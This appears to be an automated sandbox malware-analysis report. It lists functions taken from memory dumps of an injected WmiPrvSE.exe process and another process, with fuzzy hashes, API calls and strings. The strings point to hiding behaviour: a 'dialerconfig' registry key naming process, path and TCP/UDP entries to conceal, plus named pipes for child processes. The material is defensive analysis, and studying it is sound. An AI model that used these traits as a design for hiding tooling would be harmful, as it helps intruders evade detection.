Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA906A5 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7781692454fa25b38ff5f85e8884dfcd84dfe6d6a5ecdb39deeb86e179fa61e
Instruction ID: 594e7a21e9ad476f9c4d3c1ca5cc41edc949a07883730a193aed2e8cf2d604b1
Opcode Fuzzy Hash: f7781692454fa25b38ff5f85e8884dfcd84dfe6d6a5ecdb39deeb86e179fa61e
Instruction Fuzzy Hash: 82F03031A0964E9FEB60EF98D8596EDB7E1FF54300F110437E90CC21A0DBB462A48B94

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA91360 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 998eb7bb752996239fed5c967584f0827bdcc866618ea077d11860721a7acb96
Instruction ID: 3b3c5d9ce807fc00c1717934460f2f686ceb0d6a79bc7fce525ccdcf1dd04652
Opcode Fuzzy Hash: 998eb7bb752996239fed5c967584f0827bdcc866618ea077d11860721a7acb96
Instruction Fuzzy Hash: 0EF0BD3091494D9FDF94EF58C448AAA7BE0FF28304F01456AF818D3260D630E594CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA906C8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4ae1aef31b9b6cc8379d358deaf00049ef9a414c64ef64c224a68b8697a2af3
Instruction ID: d2757681098fb3b3d70d8dac65e63d124bc0106d0d8cc4016c8d2a3917b483f0
Opcode Fuzzy Hash: e4ae1aef31b9b6cc8379d358deaf00049ef9a414c64ef64c224a68b8697a2af3
Instruction Fuzzy Hash: EAF0123091564D9FEB90EFA4C9496EE7BE1FF54304F014466E81CD2160DB70A6A4CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA92696 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3388c7e528237f0736662ab1296a48a7b2067dc720f78fff7d1b96c4dc7465eb
Instruction ID: c69756b6fa9998b7396033a2a0895cbe33fd7812ae86667b2e8893eb20fe2442
Opcode Fuzzy Hash: 3388c7e528237f0736662ab1296a48a7b2067dc720f78fff7d1b96c4dc7465eb
Instruction Fuzzy Hash: 1DF05831F1D51A4BE7B8DB28C8A82B866B1EF85304F0101F6E10DE61E5CE742E829F40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9BC493F1 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1755047453.00007FFD9BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bc40000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e885fb1de6b33c8836a5cf327a6586278a6dc8325f5f06cc0bad73f1b52aaf2
Instruction ID: 2fb693fa3f977521cf3d4682d4f7e72b55d37f83b51f72f2975c0f80fa638129
Opcode Fuzzy Hash: 7e885fb1de6b33c8836a5cf327a6586278a6dc8325f5f06cc0bad73f1b52aaf2
Instruction Fuzzy Hash: 2541ACA244E7C18FD7038B749C766913FB0AE23255B1F89DBC4C0CF1A3E1195A5AE762

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC4D87D Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1755047453.00007FFD9BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bc40000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14050e578a367922eba2cb4a074c2f48ad8fd21e306ac395bf78f67e3987926d
Instruction ID: dd10d7fc88bfb0f3bd90b977b8428cfc8485502a75ac4a6dd3abf0064f00d5dc
Opcode Fuzzy Hash: 14050e578a367922eba2cb4a074c2f48ad8fd21e306ac395bf78f67e3987926d
Instruction Fuzzy Hash: 5C31E870E18A5D8FCF88EF98D451AEDBBF1FB69300F20516AD419E7291CB35AA41CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA909B0 Relevance: 5.2, Strings: 4, Instructions: 185COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FFD9BA90B4E
c9, xrefs: 00007FFD9BA90B56
#{9, xrefs: 00007FFD9BA90B3E
"s9, xrefs: 00007FFD9BA90B46

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 2af611734ed15c9b9afcbd2e114b3668db27928fea059129e65cd52b36b734c3
Instruction ID: a48a9aa598d4cf26993ff4af75965005228ce64cb117de4c073b3d04e59b5b01
Opcode Fuzzy Hash: 2af611734ed15c9b9afcbd2e114b3668db27928fea059129e65cd52b36b734c3
Instruction Fuzzy Hash: B1519E17B0D06659E239B2FD78618ED5B488FA827FB0847B7F46D8D0D78D086085C2E9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: WmiPrvSE.exePID: 7888, Parent PID: 752COMMON

Executed Functions

Function 00000216D26F328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000216D26F32AE
PathFindFileNameW.SHLWAPI ref: 00000216D26F32BD

Part of subcall function 00000216D26F3844: StrCmpNIW.SHLWAPI ref: 00000216D26F385C

Part of subcall function 00000216D26F3790: GetModuleHandleW.KERNEL32 ref: 00000216D26F379E
Part of subcall function 00000216D26F3790: GetCurrentProcess.KERNEL32 ref: 00000216D26F37CC
Part of subcall function 00000216D26F3790: VirtualProtectEx.KERNEL32 ref: 00000216D26F37EE
Part of subcall function 00000216D26F3790: GetCurrentProcess.KERNEL32 ref: 00000216D26F3809
Part of subcall function 00000216D26F3790: VirtualProtectEx.KERNEL32 ref: 00000216D26F382A

CreateThread.KERNEL32 ref: 00000216D26F330B

Part of subcall function 00000216D26F1D14: GetCurrentThread.KERNEL32 ref: 00000216D26F1D1F

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 06e87f6da14ffa3972b917f376902c18445c70b0b36387eb4cf7f7bd653b36b6
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 02118032B107E083FF70EB22F95D7EF22A4BBB4B45F50516D9A4681595EF78C0A88250

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000216D26F1628: GetProcessHeap.KERNEL32 ref: 00000216D26F1633
Part of subcall function 00000216D26F1628: HeapAlloc.KERNEL32 ref: 00000216D26F1642
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F16B2
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F16DF
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F16F9
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1719
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F1734
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1754
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F176F
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F178F
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F17AA
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F17CA

Sleep.KERNEL32 ref: 00000216D26F1AD7
SleepEx.KERNEL32 ref: 00000216D26F1ADD

Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F17E5
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1805
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F1820
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1840
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F185B
Part of subcall function 00000216D26F1628: RegOpenKeyExW.ADVAPI32 ref: 00000216D26F187B
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F1896
Part of subcall function 00000216D26F1628: RegCloseKey.ADVAPI32 ref: 00000216D26F18A0

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 3b3ec43b34bc7c74e54b928c79361c24c7783f5ea0374df26fa6b5afc27bf782
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: A931B8713117A183FF509B2AFA6D2EF23B5ABF4BC0F4454699E0987699FE24C891C210

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000216D26F385C

Strings

dialer, xrefs: 00000216D26F3855

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 6d50af5e443f0b5a1b10834cd7f43757556e4f3daefa92c80cf3a1e09134f5da
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: E7D0A7703213C6CBFF24DFA7E8CD6F96360EB28B44F884028D91001150DB5D8D9D9710

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26C273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000216D26C285E

Memory Dump Source

Source File: 00000009.00000002.2367207217.00000216D26C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000216D26C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26c0000_WmiPrvSE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 4d6850e5edaad7af1019651b05116c1117eacf110da8bbe6186f6baef486b0f9
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 5461E272B017E087DF68AF16A0487AD7B92F764FA4F5C8129DE5907788DA38D852E700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00000216D26F2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000216D26F2BD0
lstrlenW.KERNEL32 ref: 00000216D26F2E0A

Part of subcall function 00000216D26F199C: OpenProcess.KERNEL32 ref: 00000216D26F19C2
Part of subcall function 00000216D26F199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000216D26F19E0
Part of subcall function 00000216D26F199C: PathFindFileNameW.SHLWAPI ref: 00000216D26F19EF
Part of subcall function 00000216D26F199C: lstrlenW.KERNEL32 ref: 00000216D26F19FB
Part of subcall function 00000216D26F199C: StrCpyW.SHLWAPI ref: 00000216D26F1A0E
Part of subcall function 00000216D26F199C: CloseHandle.KERNEL32 ref: 00000216D26F1A1C

GetProcAddress.KERNEL32 ref: 00000216D26F2BE5

Part of subcall function 00000216D26F152C: StrCmpIW.SHLWAPI ref: 00000216D26F155D

Part of subcall function 00000216D26F3844: StrCmpNIW.SHLWAPI ref: 00000216D26F385C

StrCmpNIW.SHLWAPI ref: 00000216D26F2C28
lstrlenW.KERNEL32 ref: 00000216D26F2D50

Strings

\Device\Nsi, xrefs: 00000216D26F2C1B
ntdll.dll, xrefs: 00000216D26F2BC9
NtQueryObject, xrefs: 00000216D26F2BDB

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 08a8d0198ac4937a3c62658ab8e4bd3f61832f40d1c6f621bdb0b40b061259f3
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 5EB17F72311BA087EFA58F25E85C7EE63A5FB64B84F54501AEE0957798EB35CC40CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000216D26F7DAC
RtlCaptureContext.NTDLL ref: 00000216D26F7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000216D26F7DF3
RtlVirtualUnwind.NTDLL ref: 00000216D26F7E34
IsDebuggerPresent.KERNEL32 ref: 00000216D26F7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000216D26F7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000216D26F7EB4

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: c03fe58164123225f9af638b85600b70d16c18d65751f0822510b86061e0e248
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: ED313C72305B808AEB609F61F8987EE7374F798744F44442ADA4E57B98EF38C648C710

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000216D26FD31D
RtlLookupFunctionEntry.NTDLL ref: 00000216D26FD335
RtlVirtualUnwind.NTDLL ref: 00000216D26FD370
IsDebuggerPresent.KERNEL32 ref: 00000216D26FD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000216D26FD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000216D26FD3BE

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 84dda6b063edcf1b436ff4901af77c301f9731e3b1a9d8c16d87d96385fdbb1d
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 79317C32314B8086EB60CF25F8983EE73A0F799754F51012AEA9D43B98EF39C159CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000216D26F1633
HeapAlloc.KERNEL32 ref: 00000216D26F1642

Part of subcall function 00000216D26F1268: GetProcessHeap.KERNEL32 ref: 00000216D26F126E
Part of subcall function 00000216D26F1268: HeapAlloc.KERNEL32 ref: 00000216D26F127D
Part of subcall function 00000216D26F1268: GetProcessHeap.KERNEL32 ref: 00000216D26F1297
Part of subcall function 00000216D26F1268: HeapAlloc.KERNEL32 ref: 00000216D26F12A8

RegOpenKeyExW.ADVAPI32 ref: 00000216D26F16B2
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F16DF
RegCloseKey.ADVAPI32 ref: 00000216D26F16F9
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1719
RegCloseKey.ADVAPI32 ref: 00000216D26F1734
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1754
RegCloseKey.ADVAPI32 ref: 00000216D26F176F
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F178F
RegCloseKey.ADVAPI32 ref: 00000216D26F17AA
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F17CA
RegCloseKey.ADVAPI32 ref: 00000216D26F17E5
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1805
RegCloseKey.ADVAPI32 ref: 00000216D26F1820
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F1840
RegCloseKey.ADVAPI32 ref: 00000216D26F185B
RegOpenKeyExW.ADVAPI32 ref: 00000216D26F187B
RegCloseKey.ADVAPI32 ref: 00000216D26F1896
RegCloseKey.ADVAPI32 ref: 00000216D26F18A0

Part of subcall function 00000216D26F12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000216D26F1319
Part of subcall function 00000216D26F12BC: GetProcessHeap.KERNEL32 ref: 00000216D26F1327
Part of subcall function 00000216D26F12BC: HeapAlloc.KERNEL32 ref: 00000216D26F1338
Part of subcall function 00000216D26F12BC: RegEnumValueW.ADVAPI32 ref: 00000216D26F1397
Part of subcall function 00000216D26F12BC: GetProcessHeap.KERNEL32 ref: 00000216D26F13DF
Part of subcall function 00000216D26F12BC: HeapAlloc.KERNEL32 ref: 00000216D26F13ED
Part of subcall function 00000216D26F12BC: GetProcessHeap.KERNEL32 ref: 00000216D26F140A
Part of subcall function 00000216D26F12BC: HeapFree.KERNEL32 ref: 00000216D26F1418
Part of subcall function 00000216D26F12BC: lstrlenW.KERNEL32 ref: 00000216D26F1421
Part of subcall function 00000216D26F12BC: GetProcessHeap.KERNEL32 ref: 00000216D26F142F
Part of subcall function 00000216D26F12BC: HeapAlloc.KERNEL32 ref: 00000216D26F143D

Strings

service_names, xrefs: 00000216D26F17C3
pid, xrefs: 00000216D26F1712
udp, xrefs: 00000216D26F1874
SOFTWARE\dialerconfig, xrefs: 00000216D26F1692
tcp_remote, xrefs: 00000216D26F1839
process_names, xrefs: 00000216D26F174D
paths, xrefs: 00000216D26F1788
tcp_local, xrefs: 00000216D26F17FE
startup, xrefs: 00000216D26F16D5

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 47cd65222b6dfd8ee39d338ffd709708c537ad1a16816e85f25416f146059c2a
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 0D710B36310B5086EB20AF66F99DAED23B4F7A4B88F015119DE4E97B69DF39C448C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000216D26F1319
GetProcessHeap.KERNEL32 ref: 00000216D26F1327
HeapAlloc.KERNEL32 ref: 00000216D26F1338
RegEnumValueW.ADVAPI32 ref: 00000216D26F1397

Part of subcall function 00000216D26F152C: StrCmpIW.SHLWAPI ref: 00000216D26F155D

GetProcessHeap.KERNEL32 ref: 00000216D26F13DF
HeapAlloc.KERNEL32 ref: 00000216D26F13ED
GetProcessHeap.KERNEL32 ref: 00000216D26F140A
HeapFree.KERNEL32 ref: 00000216D26F1418
lstrlenW.KERNEL32 ref: 00000216D26F1421
GetProcessHeap.KERNEL32 ref: 00000216D26F142F
HeapAlloc.KERNEL32 ref: 00000216D26F143D
StrCpyW.SHLWAPI ref: 00000216D26F145F
GetProcessHeap.KERNEL32 ref: 00000216D26F1476
HeapFree.KERNEL32 ref: 00000216D26F1484

Strings

d, xrefs: 00000216D26F135A

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 96c997046e1355441d4318b30f8826780c6a3a7a860843d4009e498c9daeb0be
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: DF513776700B8486EB64CF62F55D3AEB7B1F799BD9F058128DA4A07718DF39C4498B00

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000216D26FCE37
FlsGetValue.KERNEL32(?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCE4C
FlsSetValue.KERNEL32(?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCE6D
FlsSetValue.KERNEL32(?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCE9A
FlsSetValue.KERNEL32(?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCEAB
FlsSetValue.KERNEL32(?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCEBC
SetLastError.KERNEL32 ref: 00000216D26FCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCF0D
FlsSetValue.KERNEL32(?,?,00000001,00000216D26FECCC,?,?,?,?,00000216D26FBF9F,?,?,?,?,?,00000216D26F7AB0), ref: 00000216D26FCF2C

Part of subcall function 00000216D26FD6CC: HeapAlloc.KERNEL32 ref: 00000216D26FD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCF54

Part of subcall function 00000216D26FD744: HeapFree.KERNEL32 ref: 00000216D26FD75A
Part of subcall function 00000216D26FD744: GetLastError.KERNEL32 ref: 00000216D26FD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000216D2700A6B,?,?,?,00000216D270045C,?,?,?,00000216D26FC84F), ref: 00000216D26FCF76

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: d11699a7f6e17cf0efe9ece0774751f9ea38668c029b1f9cb3cde6bd6a240e56
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 6541A2307013E443FE79E735B56D3FF62926FB57B0F25172CA9364A6EAEE2894418210

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000216D26F2259
GetCurrentProcessId.KERNEL32 ref: 00000216D26F2263

Part of subcall function 00000216D26F1934: OpenProcess.KERNEL32 ref: 00000216D26F1952
Part of subcall function 00000216D26F1934: IsWow64Process.KERNEL32 ref: 00000216D26F1968
Part of subcall function 00000216D26F1934: CloseHandle.KERNEL32 ref: 00000216D26F1983

CreateFileW.KERNEL32 ref: 00000216D26F22BC
WriteFile.KERNEL32 ref: 00000216D26F22E4
ReadFile.KERNEL32 ref: 00000216D26F2303
CloseHandle.KERNEL32 ref: 00000216D26F230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000216D26F2293
\\.\pipe\dialerchildproc64, xrefs: 00000216D26F228C

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 490bfccdf753e2bc7508e4e01608ad746833ba0924d2233be78864ab671b7703
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 39216A32714B5083EB208B25F55C7AE63B1F7A9BA4F504219EA5902AA8DF7DC189CB00

